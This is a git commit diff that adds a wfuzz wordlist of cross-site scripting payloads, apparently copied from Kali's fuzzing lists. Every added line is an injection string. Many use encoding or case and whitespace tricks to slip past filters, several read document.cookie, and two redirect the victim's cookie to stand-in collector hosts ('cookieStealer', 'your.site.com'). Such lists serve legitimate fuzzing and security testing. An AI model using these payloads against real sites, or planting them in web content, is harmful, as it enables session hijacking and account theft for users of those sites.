Add additional wordlists from Kali

Signed-off-by: Malfurious <m@lfurio.us>

1 files changed, 39 insertions, 0 deletions

diff --git a/wordlists/wfuzz/Injections/XSS.txt b/wordlists/wfuzz/Injections/XSS.txt
new file mode 100644
index 0000000..e0bb5c3
--- /dev/null
+++ b/wordlists/wfuzz/Injections/XSS.txt
@@ -0,0 +1,39 @@
+"><script>"

+<script>alert("WXSS")</script>

+<<script>alert("WXSS");//<</script>

+<script>alert(document.cookie)</script>

+'><script>alert(document.cookie)</script>

+'><script>alert(document.cookie);</script>

+\";alert('XSS');//

+%3cscript%3ealert("WXSS");%3c/script%3e

+%3cscript%3ealert(document.cookie);%3c%2fscript%3e

+%3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E

+&ltscript&gtalert(document.cookie);</script>

+&ltscript&gtalert(document.cookie);&ltscript&gtalert

+<xss><script>alert('WXSS')</script></vulnerable>

+<IMG%20SRC='javascript:alert(document.cookie)'>

+<IMG%20SRC="javascript:alert('WXSS');">

+<IMG%20SRC="javascript:alert('WXSS')"

+<IMG%20SRC=javascript:alert('WXSS')>

+<IMG%20SRC=JaVaScRiPt:alert('WXSS')>

+<IMG%20SRC=javascript:alert(&quot;WXSS&quot;)>

+<IMG%20SRC=`javascript:alert("'WXSS'")`>

+<IMG%20"""><SCRIPT>alert("WXSS")</SCRIPT>">

+<IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))>

+<IMG%20SRC='javasc	ript:alert(document.cookie)'>

+<IMG%20SRC="jav	ascript:alert('WXSS');">

+<IMG%20SRC="jav&#x09;ascript:alert('WXSS');">

+<IMG%20SRC="jav&#x0A;ascript:alert('WXSS');">

+<IMG%20SRC="jav&#x0D;ascript:alert('WXSS');">

+<IMG%20SRC="%20&#14;%20javascript:alert('WXSS');">

+<IMG%20DYNSRC="javascript:alert('WXSS')">

+<IMG%20LOWSRC="javascript:alert('WXSS')">

+<IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'>

+<IMG%20SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

+<IMG%20SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

+<IMG%20SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

+'%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E

+"><script>document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie</script>

+%22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E

+';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//></SCRIPT>!--<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}

+'';!--"<XSS>=&{()}